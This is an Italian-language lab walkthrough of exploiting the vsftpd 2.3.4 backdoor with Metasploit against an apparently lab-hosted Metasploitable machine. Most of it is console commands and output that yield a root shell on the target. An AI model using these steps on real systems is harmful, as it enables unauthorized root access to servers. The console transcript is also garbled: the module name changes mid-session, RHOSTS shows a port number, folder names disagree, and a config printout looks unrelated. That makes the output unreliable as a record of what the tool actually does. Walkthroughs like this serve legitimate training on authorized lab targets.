

Avviamo la msconsole con l'omonimo comando, cerchiamo gli exploit che riguardino VSFTPD con il comando `search vsftpd`, andiamo ad usarlo con `use 0` (o il path), per poi vedere le opzioni settabili per l'attacco.

settiamo l'host da attaccare con `set RHOSTS`

```
msf5 (73573)
https://pastebin.com/AetT9s55
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

View the full module info with the info -d command.

msf5 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
--  --                                     -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent  No  VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > use 0
[*] Using configured payload cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
=====
Name      Current Setting  Required  Description
--      -
RHOSTS    21               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):
=====
Name      Current Setting  Required  Description
--      -

Exploit target:
=====
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.100
RHOSTS => 192.168.50.100
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank  Check  Description
--  --                                     -
0  payload/cmd/unix/interact                normal  No  Unix Command, Interact with Established Connection

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

Avviamo l'exploit con il comando `exploit`

Vedremo, dopo che la connessione e' stata stabilita, la console come fossimo nella macchina metasploitable

Creiamo una cartella “test\_exploit” con il comando `mkdir`, possiamo vedere poi sulla macchina metasploitable la nuova cartella

```
msf5 exploit(multi/tftp/veriftd_216_backdoor) > exploit

[*] 192.168.50.100:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.100:21 - USER: 331 Please specify the password.
[*] 192.168.50.100:21 - Backdoor service has been spawned, handling...
[*] 192.168.50.100:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.101:34129 → 192.168.50.100:6200) at 2023-09-19 13:43:25 -0400

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
root@metasploitable:~# cd /test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
root@metasploitable:~# cat /etc/ftp.conf
{
    options
    {
        clientonly;
    };
};

listen
    *:6667;

[ Wrote 216 lines ]

root@metasploitable:/home/msfadmin#
root@metasploitable:/home/msfadmin#
root@metasploitable:/home/msfadmin#
root@metasploitable:/home/msfadmin#
root@metasploitable:/home/msfadmin#
root@metasploitable:/home/msfadmin#
root@metasploitable:/home/msfadmin#
root@metasploitable:/home/msfadmin# pwd
/home/msfadmin
root@metasploitable:/home/msfadmin# cd /
root@metasploitable:/# ls
bin    dev    initrd  lost+found  nohup.out  root    sys    test_metasploit  usr
boot  etc    initrd.img  media      opt        sbin    tmp    var              vmlinuz
cdrom  home  lib     mnt        proc       srv     tmp
root@metasploitable:/# _
```